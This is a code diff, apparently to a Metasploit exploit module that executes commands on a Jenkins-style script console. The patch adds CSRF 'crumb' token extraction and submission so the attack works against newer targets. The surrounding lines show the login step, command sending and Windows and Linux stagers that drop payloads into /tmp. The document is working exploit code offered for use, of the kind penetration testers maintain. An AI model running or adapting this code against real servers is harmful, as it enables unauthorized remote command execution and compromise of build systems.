@@ -80,6 +80,7 @@ def http_send_command(cmd, opts = {})
80
80
}
81
81
}
82
82
request_parameters [ 'cookie' ] = @cookie if @cookie != nil
83
+ request_parameters [ 'vars_post' ] [ '.crumb' ] = @crumb if @crumb != nil
83
84
res = send_request_cgi ( request_parameters )
84
85
if not ( res and res . code == 200 )
85
86
fail_with ( Failure ::Unknown , 'Failed to execute the command.' )
@@ -135,7 +136,6 @@ def linux_stager
135
136
@to_delete = "/tmp/#{ file } "
136
137
end
137
138
138
-
139
139
def exploit
140
140
@uri = target_uri
141
141
@uri . path = normalize_uri ( @uri . path )
@@ -145,6 +145,7 @@ def exploit
145
145
fail_with ( Failure ::Unknown ) if not res
146
146
147
147
@cookie = nil
148
+ @crumb = nil
148
149
if res . code != 200
149
150
print_status ( 'Logging in...' )
150
151
res = send_request_cgi ( {
@@ -159,14 +160,22 @@ def exploit
159
160
} )
160
161
161
162
if not ( res and res . code == 302 ) or res . headers [ 'Location' ] =~ /loginError/
162
- fail_with ( Failure ::NoAccess , 'login failed' )
163
+ fail_with ( Failure ::NoAccess , 'Login failed' )
163
164
end
164
165
sessionid = 'JSESSIONID' << res . get_cookies . split ( 'JSESSIONID' ) [ 1 ] . split ( '; ' ) [ 0 ]
165
166
@cookie = "#{ sessionid } "
167
+
168
+ res = send_request_cgi ( { 'uri' => "#{ @uri . path } script" , 'cookie' => @cookie } )
169
+ fail_with ( Failure ::Unknown ) unless res and res . code == 200
166
170
else
167
171
print_status ( 'No authentication required, skipping login...' )
168
172
end
169
173
174
+ if ( res . body =~ /"\. crumb", "([a-z0-9]*)"/ )
175
+ print_status ( "Using CSRF token: '#{ $1} '" ) ;
176
+ @crumb = $1;
177
+ end
178
+
170
179
case target [ 'Platform' ]
171
180
when 'win'
172
181
print_status ( "#{ rhost } :#{ rport } - Sending command stager..." )
0 commit comments